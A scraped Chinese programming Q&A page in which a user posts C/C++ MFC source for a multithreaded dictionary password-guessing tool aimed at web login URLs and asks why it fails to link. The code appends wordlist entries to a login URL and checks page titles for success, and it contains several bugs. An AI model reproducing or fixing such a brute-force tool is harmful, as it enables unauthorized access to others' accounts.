您好,欢迎来到[编程问答]网站首页   源码下载   电子书籍   软件下载   专题
当前位置:首页 >> 编程问答 >> C/C++ >> 一个跑密码的程序,缺少库,加进去也不行,编译可以,连接不行

一个跑密码的程序,缺少库,加进去也不行,编译可以,连接不行

来源:网络整理     时间:2016/8/24 12:05:51     关键词:

关于网友提出的“ 一个跑密码的程序,缺少库,加进去也不行,编译可以,连接不行”问题疑问,本网通过在网上对“ 一个跑密码的程序,缺少库,加进去也不行,编译可以,连接不行”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:

问题: 一个跑密码的程序,缺少库,加进去也不行,编译可以,连接不行
描述:

//#include stdafx.h
//#include "bl.h"
//#include "bldialog.h"
#include "afxinet.h"
#include "windows.h"
#include "afxmt.h"
#include "stdio.h"
#include "stdlib.h"
/////////////////////////////////////////////////
int MaxThread=50,ActiveThread;
HANDLE hSemaphore,hEvent;
long PreviousCount;
CString error_title;
char dict[40000][40];
 DWORD WINAPI thread(PVOID num);
 char *string;
 int total=0;
////////////////////////////////////
 void usage(){
printf("\nbl url dictfile ");
// printf("\nexample: bl www.xici.net/login/login.asp?username=yangyc&pwd= d:/ict.dic   ");
exit(0);
 }
 ////////////////////////////////////////////
int readdic(char *dic)
 {
FILE *fp;
// char temp[40];
char temp[40];
if((fp=fopen(dic,"r"))==NULL){
printf("\ncan't open file!");
return 1;
}
while(!feof(fp)){
if(fgets(temp,40,fp)==0)break;
strncpy(dict[total],temp,strlen(temp)-1);
total++;
if(total<40000)break;
}
fclose(fp);
return 0;
 }
DWORD WINAPI thread(PVOID num)
{
char url[100];
CString title;
//////////////////////////////////////////////////
strcpy(url,(char *)num); 
CInternetSession threadsession;
CInternetFile *threadfile=NULL;
try{
threadfile=(CInternetFile *)threadsession.OpenURL(url); 
}catch(CInternetException *tt){
threadfile=NULL;
tt->Delete(); 
}
if(threadfile){
title=threadfile->GetFileTitle(); 
}
if(title=error_title){
ReleaseSemaphore(hSemaphore,1,&PreviousCount);  
ActiveThread=MaxThread-PreviousCount-1;
if (ActiveThread==0 ){
SetEvent(hEvent); 
}
}else{
printf("%s",url);
}
return 0;
}
/////////////////////////////////////////
int main(int argc,char *argv[])
{
HANDLE hThread;
DWORD dwThreadId;
char *www;
////////////////////////////////
if(argc!=5)usage();
readdic(argv[3]);
strcpy(www,argv[2]);
hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
hEvent=CreateEvent(NULL,true,false,NULL);
for(int i=1;i<=20000;i++){
strcat(www,dict[i]);
hThread=CreateThread(NULL,0,thread,(PVOID)www,0,&dwThreadId);
Sleep(10);
CloseHandle(hThread);
WaitForSingleObject(hSemaphore,INFINITE);
}
WaitForSingleObject(hEvent,INFINITE);
 
 CloseHandle(hSemaphore);
 CloseHandle(hEvent);
 return 0;
}


以上介绍了“ 一个跑密码的程序,缺少库,加进去也不行,编译可以,连接不行”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:http://www.codes51.com/itwd/3561096.html

相关图片

相关文章